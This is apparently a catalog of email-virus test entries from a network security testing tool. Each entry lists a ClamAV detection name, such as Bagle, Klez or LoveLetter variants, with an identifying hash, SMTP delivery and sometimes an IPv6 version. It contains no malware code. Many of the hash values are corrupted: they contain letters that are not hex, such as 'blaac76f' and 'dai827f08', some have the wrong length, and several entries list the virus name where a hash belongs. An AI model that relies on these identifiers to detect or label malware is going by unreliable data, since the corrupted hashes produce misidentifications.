Detailed Description:	This is the email virus W32.Zhangpo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0caf68d0c020974e90f9637456fcf741. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBSWG.ac.d4956efc.xml
Executive Description:	Email Virus Worm.VBSWG.ac
Detailed Description:	This is the email virus Worm.VBSWG.ac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4956efc0253b4089f9610fa240c52ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-4.5ad04ebd.xml
Executive Description:	Email Virus Trojan.Killav-4
Detailed Description:	This is the email virus Trojan.Killav-4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ad04ebd3cd2dc09636aa50712b3ecd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.VBS.Kuasa.B.74f6e7d5_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74f6e7d5fdc5fe88a64e74928f3b54e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.a053ab02_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a053ab02be384ed8072d3215eed12fc8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lindodia.lin.9796500e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lindodia.lin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lindodia.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lindodia.lin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.a.a.346c2d02.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.89031853_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89031853f1bce576777349bde1754879. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Suppl.Worm.1.7ec3bc06_IPv6.xml
Executive Description:	Email Virus Trojan.Suppl.Worm.#1 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Suppl.Worm.#1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ec3bc06612a98f7514a0613625b6749. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.T.0a5859ef_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.T (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.T as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a5859efb4c96c4af86566efdb8acb18. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.ddff1350_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ddff13508999d4144105fa2dcf75fc78. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mawanella.e7dac122_IPv6.xml
Executive Description:	Email Virus Worm.Mawanella (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mawanella as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7dac122cc7bb5b71d47421220397ac5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Granil.gra.1e0e08a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Granil.gra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Granil.gra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Granil.gra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.E.d3a8b3dc.xml
Executive Description:	Email Virus Worm.Sobig.E
Detailed Description:	This is the email virus Worm.Sobig.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3a8b3dcde44b81c0e69cc2a8a36e844. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4eb65cb5_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4eb65cb5c94cd99a6ef000cf897083df. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BD.7e8a6fca_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BD (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e8a6fcaa83d76cad8b12a601df067b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.O.9d7006e3.xml
Executive Description:	Email Virus Worm.SomeFool.O
Detailed Description:	This is the email virus Worm.SomeFool.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9d7006e30fdf15e9c8e03e62534b3a3e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.H.blaac76f.xml
Executive Description:	Email Virus Worm.Bagle.H
Detailed Description:	This is the email virus Worm.Bagle.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blaac76f0cf7ff43620f7b0a844cfbaf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Naked.da9dba70.xml
Executive Description:	Email Virus Worm.Naked
Detailed Description:	This is the email virus Worm.Naked as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: da9dba70de70dc43d6535f2975ceec68d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.1.1.d1b98f7e.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.1.1
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.1.1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nihilist.c.188e2521.xml
Executive Description:	Email Virus Worm.Nihilist.c
Detailed Description:	This is the email virus Worm.Nihilist.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 188e2521adlead34ce3833454c002460. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Newman.B.bca20f5b_IPv6.xml
Executive Description:	Email Virus Worm.Newman.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Newman.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bca20f5ba03447e2afe05688d43bdd8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Frethem.d.bb68fe35_IPv6.xml
Executive Description:	Email Virus Worm.Frethem.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.Frethem.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb68fe3595983ad30028b506elb88a08. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Aliz.47412900_IPv6.xml
Executive Description:	Email Virus W32.Aliz (IPv6 Version)
Detailed Description:	This is the email virus W32.Aliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 474129006446c8250975ad820837d836. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veka.19d67837.xml
Executive Description:	Email Virus Worm.Veka
Detailed Description:	This is the email virus Worm.Veka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 19d67837bleb1256596e35f18cbe7042. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.r.558c0dc7_IPv6.xml
Executive Description:	Email Virus Worm.Lee.r (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 558c0dc7a4a060dbb00bbea793d5f942. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Unis.c.c.71117908.xml
Executive Description:	Email Virus Email-Worm.Win32.Unis.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Unis.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Unis.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pikachu.AuExec.715614e0_IPv6.xml
Executive Description:	Email Virus Worm.Pikachu.AuExec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Pikachu.AuExec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 715614e09261b39dfa439fa1326c0cec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.g.g.655b604b.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.g.g
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.b.b.c80e8ea9.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.d.d.884b68d5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Likun.b.1dd54d76.xml
Executive Description:	Email Virus Worm.Likun.b
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1dd54d76f9170dac6995dcf9fd5ff827. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Delta.A.f0ed4e5b.xml
Executive Description:	Email Virus Worm.Delta.A
Detailed Description:	This is the email virus Worm.Delta.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0ed4e5bd8930229f7237f9dai827f08. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.vil.elb7d861.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.vil
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.vil as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.vil. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.239644e3_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 239644e3lce940a25a8ca907feba0d19. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.d.d.fbff8e90.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.d.d

Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.74f6e7d5.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74f6e7d5fdc5fe88a64e74928f3b54e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.B.6348862c_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Frido.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Frido.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6348862cb0baffc0cdd595876a90aeel. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yoyks.b.b.ddfee83b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yoyks.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yoyks.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yoyks.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.931e4d09.xml
Executive Description:	Worm.Mytob.S
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 931e4d097c51cb6bd561ab6b2015853f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.7f6ea6c3_IPv6.xml
Executive Description:	Email Virus Trojan.Killav-31 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f6ea6c3ealfbf9d9d61ac29f8e2df47a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Petik.I.8781b9a7_IPv6.xml
Executive Description:	Email Virus Worm.Petik.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Petik.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8781b9a791c0c144e97a466486f6ef33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.bb088d1c_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb088d1c281333cdcaa644d7abb4ef27. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.470bb58a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 470bb58a9bd7e58760ecec5c37e93f76. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-vbs.6c6238ce_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-vbs (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-vbs as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6c6238ce315e87c909aaa2431fe7e879. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Anar.A.c3993c02.xml
Executive Description:	Email Virus Worm.Anar.A
Detailed Description:	This is the email virus Worm.Anar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3993c02a91cb99e959da0053a8460ab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.m.m.5f9bd12f_IPv6.xml

Executive Description:	Email Virus Email-Worm.DOS.Kondrik.m.m (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.m.m as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.m.m. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Plemood.ple.d31fbdcc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Plemood.ple (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Plemood.ple as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Plemood.ple. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.7f818c2d_IPv6.xml
Executive Description:	Email Virus JS.Wobbler.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f818c2d707b9562c66aa8e86e1799e2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.A.2325cd4e_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2325cd4e9320b43fb9ca766873eel58a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.g.g.a629d04d.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.g.g
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.ae962227.xml
Executive Description:	Email Virus JS.Wobbler.A
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ae962227335af514b45ba2a9196fef18. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Hybris.C.3e85d939.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e85d93924045051de517cabed5df8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.a.a.0d969225.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Eversaw.ce9f6729.xml
Executive Description:	Email Virus Worm.Eversaw
Detailed Description:	This is the email virus Worm.Eversaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce9f6729e20384cbf5e6f9865276282c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f2db87b3.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2db87b351770e5995e9fcaad47d9591. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Netav.b.b.7ecd458b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Netav.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Netav.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Netav.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Eicar-Test-Signature.f23ddc28.xml
Executive Description:	Email Virus Eicar-Test-Signature
Detailed Description:	This is the email virus Eicar-Test-Signature as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23ddc28faac06ff61c7bd52ff76d6c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fanker.16d945b2_IPv6.xml
Executive Description:	Email Virus Worm.Fanker (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fanker as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16d945b2bc811fe63d05be4bb41a6261. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Apmas.apm.b35477e6_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Apmas.apm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Apmas.apm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Apmas.apm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.7f6ea6c3.xml
Executive Description:	Email Virus Trojan.Killav-31
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f6ea6c3ealfbfd9d61ac29f8e2df47a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	JS.Firstpart.fd4f33a7_IPv6.xml
Executive Description:	Email Virus JS.Firstpart (IPv6 Version)
Detailed Description:	This is the email virus JS.Firstpart as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd4f33a7cb2e39945765c8431722d22f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PSW.Hooker.Based.15c2f7ec.xml
Executive Description:	Email Virus Trojan.PSW.Hooker.Based
Detailed Description:	This is the email virus Trojan.PSW.Hooker.Based as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15c2f7ece2c6647c5e45608e39b08e34. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Visilin.9c93bcef.xml
Executive Description:	Email Virus Worm.Visilin
Detailed Description:	This is the email virus Worm.Visilin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c93bcef6c2554cee0a34a29d109515a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Linn.lin.95fc28e0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Linn.lin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Linn.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Linn.lin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Homepage.fbbfea3a.xml
Executive Description:	Email Virus Worm.Homepage
Detailed Description:	This is the email virus Worm.Homepage as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fbbfea3aede7415913fd6f75f893a44. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Skudex.a3db0c52_IPv6.xml
Executive Description:	Email Virus Worm.Skudex (IPv6 Version)
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3db0c5299cc3764bb9dd12e3b1926a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zafi.B.652968e7.xml
Executive Description:	Email Virus Worm.Zafi.B
Detailed Description:	This is the email virus Worm.Zafi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 652968e789f74144d1e64f234406f1d4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Claus.88952561.xml
Executive Description:	Email Virus Worm.Claus
Detailed Description:	This is the email virus Worm.Claus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 889525610bcbeaf20f389ce7c64e99fe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.K.301b39b3.xml
Executive Description:	Email Virus Worm.SomeFool.K
Detailed Description:	This is the email virus Worm.SomeFool.K as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 301b39b3e6aafb7cae5a9d84e1c78cf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.acaee15d.xml
Executive Description:	Email Virus Worm.Gaggl
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: acaee15da272643320997428b64a00e7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heyya.55051131.xml
Executive Description:	Email Virus Worm.Heyya
Detailed Description:	This is the email virus Worm.Heyya as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 550511312aeb46c846de4aa81ef6558f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Logic.6582bb66_IPv6.xml
Executive Description:	Email Virus Worm.Logic (IPv6 Version)
Detailed Description:	This is the email virus W32.Logic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6582bb666663e5089dd13d3a6e73204f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.ca3a810e.xml
Executive Description:	Email Virus W32.Magistr.A
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca3a810e952f642bf88a8370c88bd072. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Coronex.a.a.0bb8c80d.xml
Executive Description:	Email Virus Email-Worm.Win32.Coronex.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Coronex.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Coronex.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heyya.55051131_IPv6.xml
Executive Description:	Email Virus Worm.Heyya (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heyya as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 550511312aeb46c846de4aa81ef6558f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ley.5796104f_IPv6.xml
Executive Description:	Email Virus Worm.Ley (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ley as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5796104f63c28db78ccd6284df78d777. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.3925747a.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3925747aac20edc1c442cc8fd2720654. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jubon.a.a.2817c402.xml
Executive Description:	Email Virus Email-Worm.Win32.Jubon.a.a
